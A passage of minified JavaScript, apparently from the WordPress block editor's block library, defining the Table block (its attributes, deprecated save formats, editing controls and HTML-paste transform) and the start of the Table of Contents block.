interface.",version:"1.0.0",category:"design",textdomain:"default",parent:["core/tabs"],allowedBlocks:["core/tab"],attributes:{},supports:{anchor:!1,html:!1,reusable:!1,lock:!1,dimensions:{aspectRatio:!1,height:!1,minHeight:!1,width:!1},color:{background:!0,text:!0,heading:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{blockGap:!1,padding:!0,margin:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},layout:{default:{type:"flex",flexWrap:"nowrap",justifyContent:"stretch",orientation:"vertical"},allowSwitching:!1,allowVerticalAlignment:!1,allowOrientation:!1,allowJustification:!0,allowSizingOnChildren:!1},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},editorScript:"file:./index.js",style:"file:./style-index.css"};var{name:tce}=jS,rce={icon:B0,edit:Xse,save:ece},Dwe=()=>N({name:tce,metadata:jS,settings:rce});var HA={};q(HA,{init:()=>Kwe,metadata:()=>US,name:()=>hce,settings:()=>gce});var hc=o(I(),1);var tr=o(T(),1),lt=o(v(),1),oce={"subtle-light-gray":"#f3f4f5","subtle-pale-green":"#e9fbe5","subtle-pale-blue":"#e7f5fe","subtle-pale-pink":"#fcf0ef"},DA={content:{type:"rich-text",source:"rich-text"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"},colspan:{type:"string",source:"attribute",attribute:"colspan"},rowspan:{type:"string",source:"attribute",attribute:"rowspan"}},Lwe={attributes:{hasFixedLayout:{type:"boolean",default:!1},caption:{type:"rich-text",source:"rich-text",selector:"figcaption"},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:DA}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:DA}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:DA}}}},supports:{anchor:!0,align:!0,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{__experimentalSkipSerialization:!0,color:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}},__experimentalSelector:".wp-block-table > table",interactivity:{clientNavigation:!0}},save({attributes:e}){let{hasFixedLayout:t,head:r,body:a,foot:n,caption:i}=e;if(!r.length&&!a.length&&!n.length)return null;let s=(0,tr.__experimentalGetColorClassesAndStyles)(e),c=(0,tr.__experimentalGetBorderClassesAndStyles)(e),u=w(s.className,c.className,{"has-fixed-layout":t}),m=!tr.RichText.isEmpty(i),p=({type:d,rows:f})=>{if(!f.length)return null;let h=`t${d}`;return(0,lt.jsx)(h,{children:f.map(({cells:g},b)=>(0,lt.jsx)("tr",{children:g.map(({content:y,tag:_,scope:x,align:k,colspan:S,rowspan:C},E)=>{let B=w({[`has-text-align-${k}`]:k});return(0,lt.jsx)(tr.RichText.Content,{className:B||void 0,"data-align":k,tagName:_,value:y,scope:_==="th"?x:void 0,colSpan:S,rowSpan:C},E)})},b))})};return(0,lt.jsxs)("figure",{...tr.useBlockProps.save(),children:[(0,lt.jsxs)("table",{className:u===""?void 0:u,style:{...s.style,...c.style},children:[(0,lt.jsx)(p,{type:"head",rows:r}),(0,lt.jsx)(p,{type:"body",rows:a}),(0,lt.jsx)(p,{type:"foot",rows:n})]}),m&&(0,lt.jsx)(tr.RichText.Content,{tagName:"figcaption",value:i,className:(0,tr.__experimentalGetElementClassName)("caption")})]})}},LA={content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}},Mwe={attributes:{hasFixedLayout:{type:"boolean",default:!1},caption:{type:"string",source:"html",selector:"figcaption",default:""},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:LA}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:LA}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:LA}}}},supports:{anchor:!0,align:!0,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{__experimentalSkipSerialization:!0,color:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}},__experimentalSelector:".wp-block-table > table"},save({attributes:e}){let{hasFixedLayout:t,head:r,body:a,foot:n,caption:i}=e;if(!r.length&&!a.length&&!n.length)return null;let s=(0,tr.__experimentalGetColorClassesAndStyles)(e),c=(0,tr.__experimentalGetBorderClassesAndStyles)(e),u=w(s.className,c.className,{"has-fixed-layout":t}),m=!tr.RichText.isEmpty(i),p=({type:d,rows:f})=>{if(!f.length)return null;let h=`t${d}`;return(0,lt.jsx)(h,{children:f.map(({cells:g},b)=>(0,lt.jsx)("tr",{children:g.map(({content:y,tag:_,scope:x,align:k},S)=>{let C=w({[`has-text-align-${k}`]:k});return(0,lt.jsx)(tr.RichText.Content,{className:C||void 0,"data-align":k,tagName:_,value:y,scope:_==="th"?x:void 0},S)})},b))})};return(0,lt.jsxs)("figure",{...tr.useBlockProps.save(),children:[(0,lt.jsxs)("table",{className:u===""?void 0:u,style:{...s.style,...c.style},children:[(0,lt.jsx)(p,{type:"head",rows:r}),(0,lt.jsx)(p,{type:"body",rows:a}),(0,lt.jsx)(p,{type:"foot",rows:n})]}),m&&(0,lt.jsx)(tr.RichText.Content,{tagName:"figcaption",value:i})]})}},MA={content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}},Awe={attributes:{hasFixedLayout:{type:"boolean",default:!1},backgroundColor:{type:"string"},caption:{type:"string",source:"html",selector:"figcaption",default:""},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:MA}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:MA}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:MA}}}},supports:{anchor:!0,align:!0,__experimentalSelector:".wp-block-table > table"},save:({attributes:e})=>{let{hasFixedLayout:t,head:r,body:a,foot:n,backgroundColor:i,caption:l}=e;if(!r.length&&!a.length&&!n.length)return null;let c=(0,tr.getColorClassName)("background-color",i),u=w(c,{"has-fixed-layout":t,"has-background":!!c}),m=!tr.RichText.isEmpty(l),p=({type:d,rows:f})=>{if(!f.length)return null;let h=`t${d}`;return(0,lt.jsx)(h,{children:f.map(({cells:g},b)=>(0,lt.jsx)("tr",{children:g.map(({content:y,tag:_,scope:x,align:k},S)=>{let C=w({[`has-text-align-${k}`]:k});return(0,lt.jsx)(tr.RichText.Content,{className:C||void 0,"data-align":k,tagName:_,value:y,scope:_==="th"?x:void 0},S)})},b))})};return(0,lt.jsxs)("figure",{...tr.useBlockProps.save(),children:[(0,lt.jsxs)("table",{className:u===""?void 0:u,children:[(0,lt.jsx)(p,{type:"head",rows:r}),(0,lt.jsx)(p,{type:"body",rows:a}),(0,lt.jsx)(p,{type:"foot",rows:n})]}),m&&(0,lt.jsx)(tr.RichText.Content,{tagName:"figcaption",value:l})]})},isEligible:e=>e.backgroundColor&&e.backgroundColor in oce&&!e.style,migrate:e=>({...e,backgroundColor:void 0,style:{color:{background:oce[e.backgroundColor]}}})},AA={content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"}},Rwe={attributes:{hasFixedLayout:{type:"boolean",default:!1},backgroundColor:{type:"string"},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:AA}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:AA}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:AA}}}},supports:{align:!0},save({attributes:e}){let{hasFixedLayout:t,head:r,body:a,foot:n,backgroundColor:i}=e;if(!r.length&&!a.length&&!n.length)return null;let s=(0,tr.getColorClassName)("background-color",i),c=w(s,{"has-fixed-layout":t,"has-background":!!s}),u=({type:m,rows:p})=>{if(!p.length)return null;let d=`t${m}`;return(0,lt.jsx)(d,{children:p.map(({cells:f},h)=>(0,lt.jsx)("tr",{children:f.map(({content:g,tag:b,scope:y},_)=>(0,lt.jsx)(tr.RichText.Content,{tagName:b,value:g,scope:b==="th"?y:void 0},_))},h))})};return(0,lt.jsxs)("table",{className:c,children:[(0,lt.jsx)(u,{type:"head",rows:r}),(0,lt.jsx)(u,{type:"body",rows:a}),(0,lt.jsx)(u,{type:"foot",rows:n})]})}},ace=[Lwe,Mwe,Awe,Rwe];var Hn=o(j(),1),bo=o(T(),1),Et=o(I(),1),Hr=o(A(),1);var zwe=["align"];function nce({rowCount:e,columnCount:t}){return{body:Array.from({length:e}).map(()=>({cells:Array.from({length:t}).map(()=>({content:"",tag:"td"}))}))}}function Vwe(e){if(!Um(e.head))return e.head[0];if(!Um(e.body))return e.body[0];if(!Um(e.foot))return e.foot[0]}function ice(e,t,r){let{sectionName:a,rowIndex:n,columnIndex:i}=t;return e[a]?.[n]?.cells?.[i]?.[r]}function RA(e,t,r){if(!t)return e;let a=Object.fromEntries(Object.entries(e).filter(([l])=>["head","body","foot"].includes(l))),{sectionName:n,rowIndex:i}=t;return Object.fromEntries(Object.entries(a).map(([l,s])=>n&&n!==l?[l,s]:[l,s.map((c,u)=>i&&i!==u?c:{cells:c.cells.map((m,p)=>Fwe({sectionName:l,columnIndex:p,rowIndex:u},t)?r(m):m)})]))}function Fwe(e,t){if(!e||!t)return!1;switch(t.type){case"column":return t.type==="column"&&e.columnIndex===t.columnIndex;case"cell":return t.type==="cell"&&e.sectionName===t.sectionName&&e.columnIndex===t.columnIndex&&e.rowIndex===t.rowIndex}}function zA(e,{sectionName:t,rowIndex:r,columnCount:a}){let n=Vwe(e),i=a===void 0?n?.cells?.length:a;return i?{[t]:[...e[t].slice(0,r),{cells:Array.from({length:i}).map((l,s)=>{let c=n?.cells?.[s]??{};return{...Object.fromEntries(Object.entries(c).filter(([m])=>zwe.includes(m))),content:"",tag:t==="head"?"th":"td"}})},...e[t].slice(r)]}:e}function lce(e,{sectionName:t,rowIndex:r}){return{[t]:e[t].filter((a,n)=>n!==r)}}function sce(e,{columnIndex:t}){let r=Object.fromEntries(Object.entries(e).filter(([a])=>["head","body","foot"].includes(a)));return Object.fromEntries(Object.entries(r).map(([a,n])=>Um(n)?[a,n]:[a,n.map(i=>uce(i)||i.cells.length<t?i:{cells:[...i.cells.slice(0,t),{content:"",tag:a==="head"?"th":"td"},...i.cells.slice(t)]})]))}function cce(e,{columnIndex:t}){let r=Object.fromEntries(Object.entries(e).filter(([a])=>["head","body","foot"].includes(a)));return Object.fromEntries(Object.entries(r).map(([a,n])=>Um(n)?[a,n]:[a,n.map(i=>({cells:i.cells.length>=t?i.cells.filter((l,s)=>s!==t):i.cells})).filter(i=>i.cells.length)]))}function VA(e,t){if(!Um(e[t]))return{[t]:[]};let r=e.body?.[0]?.cells?.length??1;return zA(e,{sectionName:t,rowIndex:0,columnCount:r})}function Um(e){return!e||!e.length||e.every(uce)}function uce(e){return!(e.cells&&e.cells.length)}var pt=o(v(),1),Owe=[{icon:T7,title:(0,Et.__)("Align column left"),align:"left"},{icon:C7,title:(0,Et.__)("Align column center"),align:"center"},{icon:E7,title:(0,Et.__)("Align column right"),align:"right"}],Hwe={head:(0,Et.__)("Header cell text"),body:(0,Et.__)("Body cell text"),foot:(0,Et.__)("Footer cell text")},jwe={head:(0,Et.__)("Header label"),foot:(0,Et.__)("Footer label")};function Uwe({name:e,...t}){let r=`t${e}`;return(0,pt.jsx)(r,{...t})}function Gwe({attributes:e,setAttributes:t,insertBlocksAfter:r,isSelected:a}){let{hasFixedLayout:n,head:i,foot:l}=e,[s,c]=(0,Hn.useState)(2),[u,m]=(0,Hn.useState)(2),[p,d]=(0,Hn.useState)(),f=(0,bo.__experimentalUseColorProps)(e),h=(0,bo.__experimentalUseBorderProps)(e),g=(0,bo.useBlockEditingMode)(),b=(0,Hn.useRef)(),[y,_]=(0,Hn.useState)(!1),x=W();function k(ie){m(ie)}function S(ie){c(ie)}function C(ie){ie.preventDefault(),t(nce({rowCount:parseInt(s,10)||2,columnCount:parseInt(u,10)||2})),_(!0)}function E(){t({hasFixedLayout:!n})}let B=(0,Hn.useCallback)(function(ie){p&&t(le=>RA(le,p,de=>({...de,content:ie})))},[p,t]);function D(ie){if(!p)return;let le={type:"column",columnIndex:p.columnIndex},de=RA(e,le,Ve=>({...Ve,align:ie}));t(de)}function M(){if(p)return ice(e,p,"align")}function O(){t(VA(e,"head"))}function R(){t(VA(e,"foot"))}function F(ie){if(!p)return;let{sectionName:le,rowIndex:de}=p,Ve=de+ie;t(zA(e,{sectionName:le,rowIndex:Ve})),d({sectionName:le,rowIndex:Ve,columnIndex:0,type:"cell"})}function P(){F(0)}function H(){F(1)}function $(){if(!p)return;let{sectionName:ie,rowIndex:le}=p;d(),t(lce(e,{sectionName:ie,rowIndex:le}))}function V(ie=0){if(!p)return;let{columnIndex:le}=p,de=le+ie;t(sce(e,{columnIndex:de})),d({rowIndex:0,columnIndex:de,type:"cell"})}function G(){V(0)}function K(){V(1)}function X(){if(!p)return;let{sectionName:ie,columnIndex:le}=p;d(),t(cce(e,{sectionName:ie,columnIndex:le}))}(0,Hn.useEffect)(()=>{a||d()},[a]),(0,Hn.useEffect)(()=>{y&&(b?.current?.querySelector('td div[contentEditable="true"]')?.focus(),_(!1))},[y]);let ee=["head","body","foot"].filter(ie=>!Um(e[ie])),ne=[{icon:gB,title:(0,Et.__)("Insert row before"),isDisabled:!p,onClick:P},{icon:fB,title:(0,Et.__)("Insert row after"),isDisabled:!p,onClick:H},{icon:bB,title:(0,Et.__)("Delete row"),isDisabled:!p,onClick:$},{icon:uB,title:(0,Et.__)("Insert column before"),isDisabled:!p,onClick:G},{icon:sB,title:(0,Et.__)("Insert column after"),isDisabled:!p,onClick:K},{icon:pB,title:(0,Et.__)("Delete column"),isDisabled:!p,onClick:X}],J=ee.map(ie=>(0,pt.jsx)(Uwe,{name:ie,children:e[ie].map(({cells:le},de)=>(0,pt.jsx)("tr",{children:le.map((Ve,Ne)=>{let ae=p?.sectionName===ie&&p?.rowIndex===de&&p?.columnIndex===Ne;return(0,pt.jsx)(Wwe,{name:ie,rowIndex:de,columnIndex:Ne,onChange:ae?B:void 0,setSelectedCell:d,...Ve},Ne)})},de))},ie)),oe=!ee.length;return(0,pt.jsxs)("figure",{...(0,bo.useBlockProps)({ref:b}),children:[!oe&&g==="default"&&(0,pt.jsxs)(pt.Fragment,{children:[(0,pt.jsx)(bo.BlockControls,{group:"block",children:(0,pt.jsx)(bo.AlignmentControl,{label:(0,Et.__)("Change column alignment"),alignmentControls:Owe,value:M(),onChange:ie=>D(ie)})}),(0,pt.jsx)(bo.BlockControls,{group:"other",children:(0,pt.jsx)(Hr.ToolbarDropdownMenu,{icon:xB,label:(0,Et.__)("Edit table"),controls:ne})})]}),(0,pt.jsx)(bo.InspectorControls,{children:(0,pt.jsxs)(Hr.__experimentalToolsPanel,{label:(0,Et.__)("Settings"),resetAll:()=>{t({hasFixedLayout:!0,head:[],foot:[]})},dropdownMenuProps:x,children:[(0,pt.jsx)(Hr.__experimentalToolsPanelItem,{hasValue:()=>n!==!0,label:(0,Et.__)("Fixed width table cells"),onDeselect:()=>t({hasFixedLayout:!0}),isShownByDefault:!0,children:(0,pt.jsx)(Hr.ToggleControl,{label:(0,Et.__)("Fixed width table cells"),checked:!!n,onChange:E})}),!oe&&(0,pt.jsxs)(pt.Fragment,{children:[(0,pt.jsx)(Hr.__experimentalToolsPanelItem,{hasValue:()=>i&&i.length,label:(0,Et.__)("Header section"),onDeselect:()=>t({head:[]}),isShownByDefault:!0,children:(0,pt.jsx)(Hr.ToggleControl,{label:(0,Et.__)("Header section"),checked:!!(i&&i.length),onChange:O})}),(0,pt.jsx)(Hr.__experimentalToolsPanelItem,{hasValue:()=>l&&l.length,label:(0,Et.__)("Footer section"),onDeselect:()=>t({foot:[]}),isShownByDefault:!0,children:(0,pt.jsx)(Hr.ToggleControl,{label:(0,Et.__)("Footer section"),checked:!!(l&&l.length),onChange:R})})]})]})}),!oe&&(0,pt.jsx)("table",{className:w(f.className,h.className,{"has-fixed-layout":n,"has-individual-borders":(0,Hr.__experimentalHasSplitBorders)(e?.style?.border)}),style:{...f.style,...h.style},children:J}),oe?(0,pt.jsx)(Hr.Placeholder,{label:(0,Et.__)("Table"),icon:(0,pt.jsx)(bo.BlockIcon,{icon:_0,showColors:!0}),instructions:(0,Et.__)("Insert a table for sharing data."),children:(0,pt.jsxs)("form",{className:"blocks-table__placeholder-form",onSubmit:C,children:[(0,pt.jsx)(Hr.TextControl,{__next40pxDefaultSize:!0,type:"number",label:(0,Et.__)("Column count"),value:u,onChange:k,min:"1",className:"blocks-table__placeholder-input"}),(0,pt.jsx)(Hr.TextControl,{__next40pxDefaultSize:!0,type:"number",label:(0,Et.__)("Row count"),value:s,onChange:S,min:"1",className:"blocks-table__placeholder-input"}),(0,pt.jsx)(Hr.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit",children:(0,Et.__)("Create Table")})]})}):(0,pt.jsx)(ha,{attributes:e,setAttributes:t,isSelected:a,insertBlocksAfter:r,label:(0,Et.__)("Table caption text"),showToolbarButton:a&&g==="default"})]})}var Wwe=(0,Hn.memo)(function({tag:e,name:t,scope:r,colspan:a,rowspan:n,rowIndex:i,columnIndex:l,align:s,content:c,onChange:u,setSelectedCell:m}){return(0,pt.jsx)(e,{scope:e==="th"?r:void 0,colSpan:a,rowSpan:n,className:w({[`has-text-align-${s}`]:s},"wp-block-table__cell-content"),children:(0,pt.jsx)(bo.RichText,{value:c,onChange:u,onFocus:()=>{m({sectionName:t,rowIndex:i,columnIndex:l,type:"cell"})},"aria-label":Hwe[t],placeholder:jwe[t]})})}),mce=Gwe;var US={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/table",title:"Table",category:"text",description:"Create structured content in rows and columns to display information.",textdomain:"default",attributes:{hasFixedLayout:{type:"boolean",default:!0},caption:{type:"rich-text",source:"rich-text",selector:"figcaption",role:"content"},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"rich-text",source:"rich-text",role:"content"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"},colspan:{type:"string",source:"attribute",attribute:"colspan"},rowspan:{type:"string",source:"attribute",attribute:"rowspan"}}}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"rich-text",source:"rich-text",role:"content"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"},colspan:{type:"string",source:"attribute",attribute:"colspan"},rowspan:{type:"string",source:"attribute",attribute:"rowspan"}}}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"rich-text",source:"rich-text",role:"content"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"},colspan:{type:"string",source:"attribute",attribute:"colspan"},rowspan:{type:"string",source:"attribute",attribute:"rowspan"}}}}}},supports:{anchor:!0,align:!0,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{__experimentalSkipSerialization:!0,color:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}},interactivity:{clientNavigation:!0}},selectors:{root:".wp-block-table > table",spacing:".wp-block-table"},styles:[{name:"regular",label:"Default",isDefault:!0},{name:"stripes",label:"Stripes"}],editorStyle:"wp-block-table-editor",style:"wp-block-table"};var dl=o(T(),1),cs=o(v(),1);function pce({attributes:e}){let{hasFixedLayout:t,head:r,body:a,foot:n,caption:i}=e;if(!r.length&&!a.length&&!n.length)return null;let s=(0,dl.__experimentalGetColorClassesAndStyles)(e),c=(0,dl.__experimentalGetBorderClassesAndStyles)(e),u=w(s.className,c.className,{"has-fixed-layout":t}),m=!dl.RichText.isEmpty(i),p=({type:d,rows:f})=>{if(!f.length)return null;let h=`t${d}`;return(0,cs.jsx)(h,{children:f.map(({cells:g},b)=>(0,cs.jsx)("tr",{children:g.map(({content:y,tag:_,scope:x,align:k,colspan:S,rowspan:C},E)=>{let B=w({[`has-text-align-${k}`]:k});return(0,cs.jsx)(dl.RichText.Content,{className:B||void 0,"data-align":k,tagName:_,value:y,scope:_==="th"?x:void 0,colSpan:S,rowSpan:C},E)})},b))})};return(0,cs.jsxs)("figure",{...dl.useBlockProps.save(),children:[(0,cs.jsxs)("table",{className:u===""?void 0:u,style:{...s.style,...c.style},children:[(0,cs.jsx)(p,{type:"head",rows:r}),(0,cs.jsx)(p,{type:"body",rows:a}),(0,cs.jsx)(p,{type:"foot",rows:n})]}),m&&(0,cs.jsx)(dl.RichText.Content,{tagName:"figcaption",value:i,className:(0,dl.__experimentalGetElementClassName)("caption")})]})}var dce=o(U(),1);function FA(e){let t=parseInt(e,10);if(Number.isInteger(t))return t<0||t===1?void 0:t.toString()}var OA=({phrasingContentSchema:e})=>({tr:{allowEmpty:!0,children:{th:{allowEmpty:!0,children:e,attributes:["scope","colspan","rowspan","style"]},td:{allowEmpty:!0,children:e,attributes:["colspan","rowspan","style"]}}}}),qwe=e=>({table:{children:{thead:{allowEmpty:!0,children:OA(e)},tfoot:{allowEmpty:!0,children:OA(e)},tbody:{allowEmpty:!0,children:OA(e)}}}}),Zwe={from:[{type:"raw",selector:"table",schema:qwe,transform:e=>{let t=Array.from(e.children).reduce((r,a)=>{if(!a.children.length)return r;let n=a.nodeName.toLowerCase().slice(1),i=Array.from(a.children).reduce((l,s)=>{if(!s.children.length)return l;let c=Array.from(s.children).reduce((u,m)=>{let p=FA(m.getAttribute("rowspan")),d=FA(m.getAttribute("colspan")),{textAlign:f}=m.style||{},h;return(f==="left"||f==="center"||f==="right")&&(h=f),u.push({tag:m.nodeName.toLowerCase(),content:m.innerHTML,rowspan:p,colspan:d,align:h}),u},[]);return l.push({cells:c}),l},[]);return r[n]=i,r},{});return(0,dce.createBlock)("core/table",t)}}]},fce=Zwe;var{name:hce}=US,gce={icon:_0,example:{attributes:{head:[{cells:[{content:(0,hc.__)("Version"),tag:"th"},{content:(0,hc.__)("Jazz Musician"),tag:"th"},{content:(0,hc.__)("Release Date"),tag:"th"}]}],body:[{cells:[{content:"5.2",tag:"td"},{content:(0,hc.__)("Jaco Pastorius"),tag:"td"},{content:(0,hc.__)("May 7, 2019"),tag:"td"}]},{cells:[{content:"5.1",tag:"td"},{content:(0,hc.__)("Betty Carter"),tag:"td"},{content:(0,hc.__)("February 21, 2019"),tag:"td"}]},{cells:[{content:"5.0",tag:"td"},{content:(0,hc.__)("Bebo Vald\xE9s"),tag:"td"},{content:(0,hc.__)("December 6, 2018"),tag:"td"}]}]},viewportWidth:450},transforms:fce,edit:mce,save:pce,deprecated:ace},Kwe=()=>N({name:hce,metadata:US,settings:gce});var UA={};q(UA,{init:()=>Jwe,metadata:()=>GS,name:()=>Nce,settings:()=>Dce});var vu=o(I(),1);var GS={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/table-of-contents",title:"Table of Contents",category:"design",description:"Summarize your post with a list of headings. Add HTML anchors to Heading blocks to link them here.",keywords:["document outline","summary"],textdomain:"default",attributes:{headings:{type:"array",items:{type:"object"},default:[]},onlyIncludeCurrentPage:{type:"boolean",default:!1},maxLevel:{type:"number"},ordered:{type:"boolean",default:!0}},supports:{anchor:!0,ariaLabel:!0,html:!1,color:{text:!0,background:!0,gradients:!0,link:!0},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}}},style:"wp-block-table-of-contents"};var us=o(T(),1),Sce=o(U(),1),Ao=o(A(),1),Gb=o(z(),1),Tce=o(j(),1),Ft=o(I(),1),Pce=o(ue(),1),Bce=o(yr(),1);var gc=o(v(),1),vce="wp-block-table-of-contents__entry";function zg({nestedHeadingList:e,disableLinkActivation:t,onClick:r,ordered:a=!0}){return(0,gc.jsx)(gc.Fragment,{children:e.map((n,i)=>{let{content:l,link:s}=n.heading,c=s?(0,gc.jsx)("a",{className:vce,href:s,"aria-disabled":t||void 0,onClick:t&&typeof r=="function"?r:void 0,children:l}):(0,gc.jsx)("span",{className:vce,children:l}),u=a?"ol":"ul";return(0,gc.jsxs)("li",{children:[c,n.children?(0,gc.jsx)(u,{children:(0,gc.jsx)(zg,{nestedHeadingList:n.children,disableLinkActivation:t,onClick:t&&typeof r=="function"?r:void 0,ordered:a})}):null]},i)})})}function jb(e){let t=[];return e.forEach((r,a)=>{if(r.content!==""&&r.level===e[0].level)if(e[a+1]?.level>r.level){let n=e.length;for(let i=a+1;i<e.length;i++)if(e[i].level===r.level){n=i;break}t.push({heading:r,children:jb(e.slice(a+1,n))})}else t.push({heading:r,children:null})}),t}var xce=o(yce(),1),_ce=o(z(),1),kce=o(Ri(),1),wce=o(j(),1),Ub=o(nr(),1),WS=o(T(),1);function Ywe(e,t){let{getBlockAttributes:r,getBlockName:a,getBlocksByName:n,getClientIdsOfDescendants:i}=e(WS.store),l=e("core/editor").getPermalink()??null,s=n("core/nextpage").length!==0,{onlyIncludeCurrentPage:c,maxLevel:u}=r(t)??{},[m=""]=n("core/post-content"),p=i(m),d=1;if(s&&c){let b=p.indexOf(t);for(let[y,_]of p.entries()){if(y>=b)break;a(_)==="core/nextpage"&&d++}}let f=[],h=1,g=null;typeof l=="string"&&(g=s?(0,Ub.addQueryArgs)(l,{page:h}):l);for(let b of p){let y=a(b);if(y==="core/nextpage"){if(h++,c&&h>d)break;typeof l=="string"&&(g=(0,Ub.addQueryArgs)((0,Ub.removeQueryArgs)(l,["page"]),{page:h}))}else if((!c||h===d)&&y==="core/heading"){let _=r(b);if(u&&_.level>u)continue;let x=typeof g=="string"&&typeof _.anchor=="string"&&_.anchor!=="";f.push({content:(0,kce.__unstableStripHTML)(_.content.replace(/(<br *\/?>)+/g," ")),level:_.level,link:x?`${g}#${_.anchor}`:null})}}return f}function Xwe(e,t,r){let{getBlockAttributes:a}=e(WS.store),{updateBlockAttributes:n,__unstableMarkNextChangeAsNotPersistent:i}=t(WS.store),l=a(r);if(l===null)return;let s=Ywe(e,r);(0,xce.default)(s,l.headings)||window.queueMicrotask(()=>{i(),n(r,{headings:s})})}function Cce(e){let t=(0,_ce.useRegistry)();(0,wce.useEffect)(()=>t.subscribe(()=>Xwe(t.select,t.dispatch,e)),[t,e])}var rr=o(v(),1);function jA({attributes:{headings:e=[],onlyIncludeCurrentPage:t,maxLevel:r,ordered:a=!0},clientId:n,setAttributes:i}){Cce(n);let l=(0,us.useBlockProps)(),s=(0,Pce.useInstanceId)(jA,"table-of-contents"),{createWarningNotice:c}=(0,Gb.useDispatch)(Bce.store),u=y=>{y.preventDefault(),c((0,Ft.__)("Links are disabled in the editor."),{id:`block-library/core/table-of-contents/redirection-prevented/${s}`,type:"snackbar"})},m=(0,Gb.useSelect)(y=>{let{getBlockRootClientId:_,canInsertBlockType:x}=y(us.store),k=_(n);return x("core/list",k)},[n]),{replaceBlocks:p}=(0,Gb.useDispatch)(us.store),d=W(),f=jb(e),h=(0,rr.jsxs)(us.BlockControls,{children:[(0,rr.jsxs)(Ao.ToolbarGroup,{children:[(0,rr.jsx)(Ao.ToolbarButton,{icon:(0,Ft.isRTL)()?M0:A0,title:(0,Ft.__)("Unordered"),description:(0,Ft.__)("Convert to unordered 